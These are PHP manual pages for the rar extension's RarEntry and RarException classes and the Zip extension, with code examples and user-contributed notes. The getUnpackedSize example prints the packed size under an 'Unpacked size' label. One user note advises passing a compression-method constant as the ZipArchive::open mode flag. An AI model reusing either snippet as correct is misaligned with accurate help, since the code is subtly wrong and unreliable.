                ($attr & 0x0001) ? 'x' : '-');
        break;
}

rar_close($rar_file);

?>

See Also

  • RarEntry::getHostOs() - Get entry host OS
  • The constants in RarEntry

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::extract
RarEntry::getCrc
RarEntry


Get CRC of the entry

RarEntry::getAttr
RarEntry::getFileTime
RarEntry
PHP Manual

RarEntry::getCrc

(PECL rar >= 0.1)

RarEntry::getCrc — Get CRC of the entry

Description

public string RarEntry::getCrc ( void )

Returns an hexadecimal string representation of the CRC of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the CRC of the archive entry or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values for multiple volume archives.

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getAttr
RarEntry::getFileTime
RarEntry


Get entry last modification time

RarEntry::getCrc
RarEntry::getHostOs
RarEntry
PHP Manual

RarEntry::getFileTime

(PECL rar >= 0.1)

RarEntry::getFileTime — Get entry last modification time

Description

public string RarEntry::getFileTime ( void )

Gets entry last modification time.

Parameters

This function has no parameters.

Return Values

Returns entry last modification time as string in format YYYY-MM-DD HH:II:SS, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getCrc
RarEntry::getHostOs
RarEntry


Get entry host OS

RarEntry::getFileTime
RarEntry::getMethod
RarEntry
PHP Manual

RarEntry::getHostOs

(PECL rar >= 0.1)

RarEntry::getHostOs — Get entry host OS

Description

public int RarEntry::getHostOs ( void )

Returns the code of the host OS of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the code of the host OS, or FALSE on error.

Examples

Example #1 RarEntry::getHostOs() example (version >= 2.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
    case RarEntry::HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RarEntry::HOST_OS2:
        echo "OS2\n";
        break;
    case RarEntry::HOST_WIN32:
        echo "Win32\n";
        break;
    case RarEntry::HOST_MACOS:
        echo "MacOS\n";
        break;
    case RarEntry::HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RarEntry::HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

Example #2 RarEntry::getHostOs() example (version <= 1.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
    case RAR_HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RAR_HOST_OS2:
        echo "OS2\n";
        break;
    case RAR_HOST_WIN32:
        echo "Win32\n";
        break;
    case RAR_HOST_MACOS:
        echo "MacOS\n";
        break;
    case RAR_HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RAR_HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

See Also

  • RarEntry::extract() - Extract entry from the archive

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getFileTime
RarEntry::getMethod
RarEntry


Get pack method of the entry

RarEntry::getHostOs
RarEntry::getName
RarEntry
PHP Manual

RarEntry::getMethod

(PECL rar >= 0.1)

RarEntry::getMethod — Get pack method of the entry

Description

public int RarEntry::getMethod ( void )

RarEntry::getMethod() returns number of the method used when adding current archive entry.

Parameters

This function has no parameters.

Return Values

Returns the method number or FALSE on error.

Examples

Example #1 RarEntry::getMethod() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Method number: " . $entry->getMethod();

?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getHostOs
RarEntry::getName
RarEntry


Get name of the entry

RarEntry::getMethod
RarEntry::getPackedSize
RarEntry
PHP Manual

RarEntry::getName

(PECL rar >= 0.1)

RarEntry::getName — Get name of the entry

Description

public string RarEntry::getName ( void )

Returns the name (with path) of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the entry name as a string, or FALSE on error.

Changelog

Version | Description
2.0.0 | As of version 2.0.0, the returned string is encoded in Unicode/UTF-8.

Examples

Example #1 RarEntry::getName() example

<?php

//this example is safe even in pages not encoded in UTF-8
//for those encoded in UTF-8, the call to mb_convert_encoding is unnecessary

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Entry name: " . mb_convert_encoding(
    htmlentities(
        $entry->getName(),
        ENT_COMPAT,
        "UTF-8"
    ),
    "HTML-ENTITIES",
    "UTF-8"
);

?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getMethod
RarEntry::getPackedSize
RarEntry


Get packed size of the entry

RarEntry::getName
RarEntry::getStream
RarEntry
PHP Manual

RarEntry::getPackedSize

(PECL rar >= 0.1)

RarEntry::getPackedSize — Get packed size of the entry

Description

public int RarEntry::getPackedSize ( void )

Get packed size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

Parameters

This function has no parameters.

Return Values

Returns the packed size, or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values of packed sizes bigger than 2 GiB on platforms with 64-bit integers and never returns negative values on other platforms.

Examples

Example #1 RarEntry::getPackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Packed size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getName
RarEntry::getStream
RarEntry


Get file handler for entry

RarEntry::getPackedSize
RarEntry::getUnpackedSize
RarEntry
PHP Manual

RarEntry::getStream

(PECL rar >= 2.0.0)

RarEntry::getStream — Get file handler for entry

Description

public resource RarEntry::getStream ([ string $password ] )

Returns a file handler that supports read operations. This handler provides on-the-fly decompression for this entry.

The handler is not invalidated by calling rar_close().

Warning

The resulting stream has no integrity verification. In particular, file corruption and decryption with a wrong a key will not be detected. It is the programmer's responsability to use the entry's CRC to check for integrity, if he so wishes.

Parameters

password

The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), this method's resulting stream will produce wrong output. If no password is given and one is required, this method will fail and return FALSE. You can check whether an entry is encrypted with RarEntry::isEncrypted().

Return Values

The file handler or FALSE on failure.

Changelog

Version | Description
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 RarEntry::getStream() example

<?php

$rar_file = rar_open('example.rar');
if ($rar_file === false)
    die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt');
if ($entry === false)
    die("Failed to find such entry");

$stream = $entry->getStream();
if ($stream === false)
    die("Failed to obtain stream.");

rar_close($rar_file); //stream is independent from file

while (!feof($stream)) {
    $buff = fread($stream, 8192);
    if ($buff !== false)
        echo $buff;
    else
        break; //fread error
}

fclose($stream);

?>

See Also

  • RarEntry::extract() - Extract entry from the archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getPackedSize
RarEntry::getUnpackedSize
RarEntry


Get unpacked size of the entry

RarEntry::getStream
RarEntry::getVersion
RarEntry
PHP Manual

RarEntry::getUnpackedSize

(PECL rar >= 0.1)

RarEntry::getUnpackedSize — Get unpacked size of the entry

Description

public int RarEntry::getUnpackedSize ( void )

Get unpacked size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

Parameters

This function has no parameters.

Return Values

Returns the unpacked size, or FALSE on error.

Changelog

Version | Description
2.0.0 | This method now returns correct values of unpacked sizes bigger than 2 GiB on platforms with 64-bit integers and never returns negative values on other platforms.

Return Values

Example #1 RarEntry::getUnpackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Unpacked size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getStream
RarEntry::getVersion
RarEntry


Get minimum version of RAR program required to unpack the entry

RarEntry::getUnpackedSize
RarEntry::isDirectory
RarEntry
PHP Manual

RarEntry::getVersion

(PECL rar >= 0.1)

RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry

Description

public int RarEntry::getVersion ( void )

Returns minimum version of RAR program (e.g. WinRAR) required to unpack the entry. It is encoded as 10 * major version + minor version.

Parameters

This function has no parameters.

Return Values

Returns the version or FALSE on error.

Examples

Example #1 RarEntry::getVersion() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Rar version required for unpacking: " . $entry->getVersion();

?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getUnpackedSize
RarEntry::isDirectory
RarEntry


Test whether an entry represents a directory

RarEntry::getVersion
RarEntry::isEncrypted
RarEntry
PHP Manual

RarEntry::isDirectory

(PECL rar >= 2.0.0)

RarEntry::isDirectory — Test whether an entry represents a directory

Description

public bool RarEntry::isDirectory ( void )

Tests whether the current entry is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if this entry is a directory and FALSE otherwise.

Notes

This function is only available starting with version 2.0.0, but one can also test whether an entry is a directory by checking the entry attributes, like this (only works for files compressed in RAR for Windows or Unix):

<?php
//...
//Open file, get entry and store in variable $e...
//...

$isDirectory = (bool) ((($e->getHostOs() == RAR_HOST_WIN32) && ($e->getAttr() & 0x10)) ||
    (($e->getHostOs() == RAR_HOST_UNIX) && (($e->getAttr() & 0xf000) == 0x4000)));
?>

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::getVersion
RarEntry::isEncrypted
RarEntry


Test whether an entry is encrypted

RarEntry::isDirectory
RarEntry::__toString
RarEntry
PHP Manual

RarEntry::isEncrypted

(PECL rar >= 2.0.0)

RarEntry::isEncrypted — Test whether an entry is encrypted

Description

public bool RarEntry::isEncrypted ( void )

Tests whether the current entry contents are encrypted.

Note:

The password used may differ between files inside the same RAR archive.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry is encrypted and FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::isDirectory
RarEntry::__toString
RarEntry


Get text representation of entry

RarEntry::isEncrypted
RarException
RarEntry
PHP Manual

RarEntry::__toString

(PECL rar >= 2.0.0)

RarEntry::__toString — Get text representation of entry

Description

public string RarEntry::__toString ( void )

RarEntry::__toString() returns a textual representation for this entry. It includes whether the entry is a file or a directory (symbolic links and other special objects will be treated as files), the UTF-8 name of the entry and its CRC. The form and content of this representation may be changed in the future, so they cannot be relied upon.

Parameters

This function has no parameters.

Return Values

A textual representation for the entry.

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::isEncrypted
RarException
RarEntry


The RarException class

(No version information available, might only be in SVN)

Introduction

This class serves two purposes: it is the type of the exceptions thrown by the RAR extension functions and methods and it allows, through static methods to query and define the error behaviour of the extension, i.e., whether exceptions are thrown or only warnings are emitted.

The following error codes are used:

  • -1 - error outside UnRAR library
  • 11 - insufficient memory
  • 12 - bad data
  • 13 - bad archive
  • 14 - unknown format
  • 15 - file open error
  • 16 - file create error
  • 17 - file close error
  • 18 - read error
  • 19 - write error
  • 20 - buffer too small
  • 21 - unkown RAR error
  • 22 - password required but not given

Class synopsis

final RarException extends Exception {
/* Methods */
public static bool isUsingExceptions ( void )
public static void setUsingExceptions ( bool $using_exceptions )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Table of Contents

  • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
  • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.
RarEntry::__toString
RarException::isUsingExceptions
Rar


Check whether error handling with exceptions is in use

RarException
RarException::setUsingExceptions
RarException
PHP Manual

RarException::isUsingExceptions

(PECL rar >= 2.0.0)

RarException::isUsingExceptions — Check whether error handling with exceptions is in use

Description

public static bool RarException::isUsingExceptions ( void )

Checks whether the RAR functions will emit warnings and return error values or whether they will throw exceptions in most of the circumstances (does not include some programmatic errors such as passing the wrong type of arguments).

Parameters

This function has no parameters.

Return Values

Returns TRUE if exceptions are being used, FALSE otherwise.

Examples

Example #1 RarException::isUsingExceptions() example

<?php
//The default is not to use exceptions
var_dump(RarException::isUsingExceptions());
?>

The above example will output something similar to:

bool(false)

See Also

  • RarException::setUsingExceptions() - Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.
RarException
RarException::setUsingExceptions
RarException


Activate and deactivate error handling with exceptions

RarException::isUsingExceptions
Zip
RarException
PHP Manual

RarException::setUsingExceptions

(PECL rar >= 2.0.0)

RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

Description

public static void RarException::setUsingExceptions ( bool $using_exceptions )

If and only if the argument is TRUE, then, instead of emitting warnings and returning a special value indicating error when the UnRAR library encounters an error, an exception of type RarException will be thrown.

Exceptions will also be thrown for the following errors, which occur outside the library (their error code will be -1):

  • attempting some operations on a closed RarArchive object or a RarEntry object relative to the first;
  • attempting to get an entry that does not exist with RarArchive::getEntry().

Parameters

using_exceptions

Should be TRUE to activate exception throwing, FALSE to deactivate (the default).

Examples

Example #1 RarException::setUsingExceptions() example

<?php
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch);

RarException::setUsingExceptions(true);
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch); //not reached
?>

The above example will output something similar to:

bool(false)

Warning: RarArchive::open(): Failed to open does_not_exist.rar: ERAR_EOPEN (file open error) in C:\php_rar\trunk\tests\test.php on line 3
bool(false)
bool(true)

Fatal error: Uncaught exception 'RarException' with message 'unRAR internal error: Failed to open does_not_exist.rar: ERAR_EOPEN (file open error)' in C:\php_rar\trunk\tests\test.php:8
Stack trace:
#0 C:\php_rar\trunk\tests\test.php(8): RarArchive::open('does_not_exist....')
#1 {main}
  thrown in C:\php_rar\trunk\tests\test.php on line 8

See Also

  • RarException::isUsingExceptions() - Check whether error handling with exceptions is in use

User Contributed Notes

There are no user contributed notes for this page.
RarException::isUsingExceptions
Zip
RarException


Zip

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • ZipArchive — The ZipArchive class
    • ZipArchive::addEmptyDir — Add a new directory
    • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
    • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
    • ZipArchive::close — Close the active archive (opened or newly created)
    • ZipArchive::deleteIndex — delete an entry in the archive using its index
    • ZipArchive::deleteName — delete an entry in the archive using its name
    • ZipArchive::extractTo — Extract the archive contents
    • ZipArchive::getArchiveComment — Returns the Zip archive comment
    • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
    • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
    • ZipArchive::getFromIndex — Returns the entry contents using its index
    • ZipArchive::getFromName — Returns the entry contents using its name
    • ZipArchive::getNameIndex — Returns the name of an entry using its index
    • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
    • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).
    • ZipArchive::locateName — Returns the index of the entry in the archive
    • ZipArchive::open — Open a ZIP file archive
    • ZipArchive::renameIndex — Renames an entry defined by its index
    • ZipArchive::renameName — Renames an entry defined by its name
    • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
    • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
    • ZipArchive::setCommentName — Set the comment of an entry defined by its name
    • ZipArchive::statIndex — Get the details of an entry defined by its index.
    • ZipArchive::statName — Get the details of an entry defined by its name.
    • ZipArchive::unchangeAll — Undo all changes done in the archive
    • ZipArchive::unchangeArchive — Revert all global changes done in the archive.
    • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
    • ZipArchive::unchangeName — Revert all changes done to an entry with the given name.
  • Zip Functions
    • zip_close — Close a ZIP file archive
    • zip_entry_close — Close a directory entry
    • zip_entry_compressedsize — Retrieve the compressed size of a directory entry
    • zip_entry_compressionmethod — Retrieve the compression method of a directory entry
    • zip_entry_filesize — Retrieve the actual file size of a directory entry
    • zip_entry_name — Retrieve the name of a directory entry
    • zip_entry_open — Open a directory entry for reading
    • zip_entry_read — Read from an open directory entry
    • zip_open — Open a ZIP file archive
    • zip_read — Read next entry in a ZIP file archive

User Contributed Notes

singh206 at gmail dot com 10-Aug-2009 11:21
Caution:  If you accidentally let an extra '/' slip into your filepath, such as, '/myzipstuff//myfile.mp3', Mac OS X will handle resolve this, and you won't notice the typo.  Vista, and XP will have issues unzipping the file.
steved at HaHaHa dot com dot au 16-Jan-2009 01:35
Don't forget you will need to enable write permission on the directory.
RarException::setUsingExceptions
Introduction
Compression and Archive Extensions


Introduction

This extension enables you to transparently read or write ZIP compressed archives and the files inside them.

User Contributed Notes

alvaro at demogracia dot com 29-Sep-2008 04:23
When using this extension you can choose between two interfaces:
- The procedural one: run the appropiate zip_...() functions
- The object-oriented one: instanciate the ZipArchive class and call the required methods
I suppose they're roughly equivalent. Don't mix them!
Zip
Installing/Configuring
Zip


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Zip


Requirements

PHP 4

The bundled PHP 4 version requires » ZZIPlib, by Guido Draheim, version 0.10.6 or later

PHP 5.2.0 or later

This extension uses the functions of » zlib by Jean-loup Gailly and Mark Adler.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

PHP 4

Note:

Zip support before PHP 4.1.0 is experimental.

Warning

Because the PHP 4 zip extension is unmaintained we recommend that the PECL extension is used rather than the bundled one.

Linux systems

In order to use these functions you must compile PHP with zip support by using the --with-zip[=DIR] configure option, where [DIR] is the prefix of the » ZZIPlib library install.

Windows

Windows users need to enable php_zip.dll inside of php.ini in order to use these functions.

PHP 5.2.0 and later

Linux systems

In order to use these functions you must compile PHP with zip support by using the --enable-zip configure option.

Windows

Windows users need to enable php_zip.dll inside of php.ini in order to use these functions.

Installation via PECL

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/zip.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download.

User Contributed Notes

alvaro at demogracia dot com 15-Apr-2011 02:55
Docs only mention PHP/4 and PHP/5.2.0 and later. For PHP/5.0 and PHP/5.1 you can simply install the PECL extension; despite being an external download, it's basically the same library.
tom at tomwardrop dot com 24-Aug-2009 07:44
To expand on the previous comment. This extension now seems to be built-in to PHP 5.3.0 (at least for windows).
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There are two resource types used in the Zip module. The first one is the Zip directory for the Zip archive, the second Zip Entry for the archive entries.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ZipArchive uses class constants. There are three types of constants : Flags (prefixed with FL_), errors (prefixed with ER_) and mode (no prefix).

ZIPARCHIVE::CREATE (integer)
Create the archive if it does not exist.
ZIPARCHIVE::OVERWRITE (integer)
Always start a new archive, this mode will overwrite the file if it already exists.
ZIPARCHIVE::EXCL (integer)
Error if archive already exists.
ZIPARCHIVE::CHECKCONS (integer)
Perform additional consistency checks on the archive, and error if they fail.
ZIPARCHIVE::FL_NOCASE (integer)
Ignore case on name lookup
ZIPARCHIVE::FL_NODIR (integer)
Ignore directory component
ZIPARCHIVE::FL_COMPRESSED (integer)
Read compressed data
ZIPARCHIVE::FL_UNCHANGED (integer)
Use original data, ignoring changes.
ZIPARCHIVE::CM_DEFAULT (integer)
better of deflate or store.
ZIPARCHIVE::CM_STORE (integer)
stored (uncompressed).
ZIPARCHIVE::CM_SHRINK (integer)
shrunk
ZIPARCHIVE::CM_REDUCE_1 (integer)
reduced with factor 1
ZIPARCHIVE::CM_REDUCE_2 (integer)
reduced with factor 2
ZIPARCHIVE::CM_REDUCE_3 (integer)
reduced with factor 3
ZIPARCHIVE::CM_REDUCE_4 (integer)
reduced with factor 4
ZIPARCHIVE::CM_IMPLODE (integer)
imploded
ZIPARCHIVE::CM_DEFLATE (integer)
deflated
ZIPARCHIVE::CM_DEFLATE64 (integer)
deflate64
ZIPARCHIVE::CM_PKWARE_IMPLODE (integer)
PKWARE imploding
ZIPARCHIVE::CM_BZIP2 (integer)
BZIP2 algorithm
ZIPARCHIVE::ER_OK (integer)
No error.
ZIPARCHIVE::ER_MULTIDISK (integer)
Multi-disk zip archives not supported.
ZIPARCHIVE::ER_RENAME (integer)
Renaming temporary file failed.
ZIPARCHIVE::ER_CLOSE (integer)
Closing zip archive failed
ZIPARCHIVE::ER_SEEK (integer)
Seek error
ZIPARCHIVE::ER_READ (integer)
Read error
ZIPARCHIVE::ER_WRITE (integer)
Write error
ZIPARCHIVE::ER_CRC (integer)
CRC error
ZIPARCHIVE::ER_ZIPCLOSED (integer)
Containing zip archive was closed
ZIPARCHIVE::ER_NOENT (integer)
No such file.
ZIPARCHIVE::ER_EXISTS (integer)
File already exists
ZIPARCHIVE::ER_OPEN (integer)
Can't open file
ZIPARCHIVE::ER_TMPOPEN (integer)
Failure to create temporary file.
ZIPARCHIVE::ER_ZLIB (integer)
Zlib error
ZIPARCHIVE::ER_MEMORY (integer)
Memory allocation failure
ZIPARCHIVE::ER_CHANGED (string)
Entry has been changed
ZIPARCHIVE::ER_COMPNOTSUPP (integer)
Compression method not supported.
ZIPARCHIVE::ER_EOF (integer)
Premature EOF
ZIPARCHIVE::ER_INVAL (integer)
Invalid argument
ZIPARCHIVE::ER_NOZIP (integer)
Not a zip archive
ZIPARCHIVE::ER_INTERNAL (integer)
Internal error
ZIPARCHIVE::ER_INCONS (integer)
Zip archive inconsistent
ZIPARCHIVE::ER_REMOVE (integer)
Can't remove file
ZIPARCHIVE::ER_DELETED (integer)
Entry has been deleted

User Contributed Notes

scott at bluecamel dot eml dot cc 13-Jun-2008 10:13
#define ZIP_ER_OK             0  /* N No error */
#define ZIP_ER_MULTIDISK      1  /* N Multi-disk zip archives not supported */
#define ZIP_ER_RENAME         2  /* S Renaming temporary file failed */
#define ZIP_ER_CLOSE          3  /* S Closing zip archive failed */
#define ZIP_ER_SEEK           4  /* S Seek error */
#define ZIP_ER_READ           5  /* S Read error */
#define ZIP_ER_WRITE          6  /* S Write error */
#define ZIP_ER_CRC            7  /* N CRC error */
#define ZIP_ER_ZIPCLOSED      8  /* N Containing zip archive was closed */
#define ZIP_ER_NOENT          9  /* N No such file */
#define ZIP_ER_EXISTS        10  /* N File already exists */
#define ZIP_ER_OPEN          11  /* S Can't open file */
#define ZIP_ER_TMPOPEN       12  /* S Failure to create temporary file */
#define ZIP_ER_ZLIB          13  /* Z Zlib error */
#define ZIP_ER_MEMORY        14  /* N Malloc failure */
#define ZIP_ER_CHANGED       15  /* N Entry has been changed */
#define ZIP_ER_COMPNOTSUPP   16  /* N Compression method not supported */
#define ZIP_ER_EOF           17  /* N Premature EOF */
#define ZIP_ER_INVAL         18  /* N Invalid argument */
#define ZIP_ER_NOZIP         19  /* N Not a zip archive */
#define ZIP_ER_INTERNAL      20  /* N Internal error */
#define ZIP_ER_INCONS        21  /* N Zip archive inconsistent */
#define ZIP_ER_REMOVE        22  /* S Can't remove file */
#define ZIP_ER_DELETED       23  /* N Entry has been deleted */
Resource Types
Examples
Zip


Examples

Example #1 Create a Zip archive

<?php

$zip = new ZipArchive();
$filename = "./test112.zip";

if ($zip->open($filename, ZIPARCHIVE::CREATE)!==TRUE) {
    exit("cannot open <$filename>\n");
}

$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

Example #2 Dump the archive details and listing

<?php
$za = new ZipArchive();

$za->open('test_with_comment.zip');
print_r($za);
var_dump($za);
echo "numFiles: " . $za->numFiles . "\n";
echo "status: " . $za->status  . "\n";
echo "statusSys: " . $za->statusSys . "\n";
echo "filename: " . $za->filename . "\n";
echo "comment: " . $za->comment . "\n";

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index: $i\n";
    print_r($za->statIndex($i));
}
echo "numFile:" . $za->numFiles . "\n";
?>

Example #3 Zip stream wrapper, read an OpenOffice meta info

<?php
$reader = new XMLReader();

$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);
?>

This example uses the old API (PHP 4), it opens a ZIP file archive, reads each file in the archive and prints out its contents. The test2.zip archive used in this example is one of the test archives in the ZZIPlib source distribution.

Example #4 Zip Usage Example

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {
    while ($zip_entry = zip_read($zip)) {
        echo "Name:               " . zip_entry_name($zip_entry) . "\n";
        echo "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
        echo "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
        echo "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";

        if (zip_entry_open($zip, $zip_entry, "r")) {
            echo "File Contents:\n";
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            echo "$buf\n";

            zip_entry_close($zip_entry);
        }
        echo "\n";

    }

    zip_close($zip);

}
?>

User Contributed Notes

Jonathan 19-Jan-2010 10:29
If you find your zip file not being created make sure every file you are adding to the zip is valid.  If even one file is not available when zip->close is called then the archive will fail and your zip file won't be created.
Stefano Di Paolo 04-Oct-2008 07:13
1) If you want to add files to a ZIP archive but you don't know if the ZiP file exists or not, you MUST check: this changes the way you open it !.
2) you can not append multiple flags, can use only one (or none).

If the zip does not exists, open it with:
$ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE)
(or a different compression method)

If the zip already exists, open it with:
$ziph->open($archiveFile)
or
$ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS)

Example: make backup files every hour and ZIP them all in a daily ZIP archive, so you want to get only one ZIP per day, each ZIP containing 24 files:
<?php
  function archivebackup($archiveFile, $file, &$errMsg)
  {
    $ziph = new ZipArchive();
    if(file_exists($archiveFile))
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS) !== TRUE)
      {
        $errMsg = "Unable to Open $archiveFile";
        return 1;
      }
    }
    else
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE) !== TRUE)
      {
        $errMsg = "Could not Create $archiveFile";
        return 1;
      }
    }
    if(!$ziph->addFile($file))
    {
      $errMsg = "error archiving $file in $archiveFile";
      return 2;
    }
    $ziph->close();

    return 0;
  }
?>
info at peterhofer dot ch 13-Sep-2008 09:03
All these examples will not work if the php script has no write access within the folder.

Although you may say this is obvious, I found that in this case, $zip->open("name", ZIPARCHIVE::CREATE) doesn't return an error as it might not try to access the file system but rather allocates memory.

It is only $zip->close() that returns the error. This might cause you seeking at the wrong end.
geandjay at gmail dot com 17-Apr-2008 09:25
<?php
        $zip = new ZipArchive;
    $zip->open('teste.zip');
    $zip->extractTo('./');
    $zip->close();
        echo "Ok!";
?>
Predefined Constants
ZipArchive
Zip


The ZipArchive class

(No version information available, might only be in SVN)

Introduction

A file archive, compressed with Zip.

Class synopsis

ZipArchive {
/* Properties */
/* Methods */
bool addEmptyDir ( string $dirname )
bool addFile ( string $filename [, string $localname = NULL [, int $start = 0 [, int $length = 0 ]]] )
bool addFromString ( string $localname , string $contents )
bool close ( void )
bool deleteIndex ( int $index )
bool deleteName ( string $name )
bool extractTo ( string $destination [, mixed $entries ] )
string getArchiveComment ([ int $flags ] )
string getCommentIndex ( int $index [, int $flags ] )
string getCommentName ( string $name [, int $flags ] )
mixed getFromIndex ( int $index [, int $length = 0 [, int $flags ]] )
mixed getFromName ( string $name [, int $length = 0 [, int $flags ]] )
string getNameIndex ( int $index [, int $flags ] )
string getStatusString ( void )
resource getStream ( string $name )
mixed locateName ( string $name [, int $flags ] )
mixed open ( string $filename [, int $flags ] )
bool renameIndex ( int $index , string $newname )
bool renameName ( string $name , string $newname )
mixed setArchiveComment ( string $comment )
mixed setCommentIndex ( int $index , string $comment )
mixed setCommentName ( string $name , string $comment )
mixed statIndex ( int $index [, int $flags ] )
mixed statName ( name $name [, int $flags ] )
mixed unchangeAll ( void )
mixed unchangeArchive ( void )
mixed unchangeIndex ( int $index )
mixed unchangeName ( string $name )
}

Properties

status

Status of the Zip Archive

statusSys

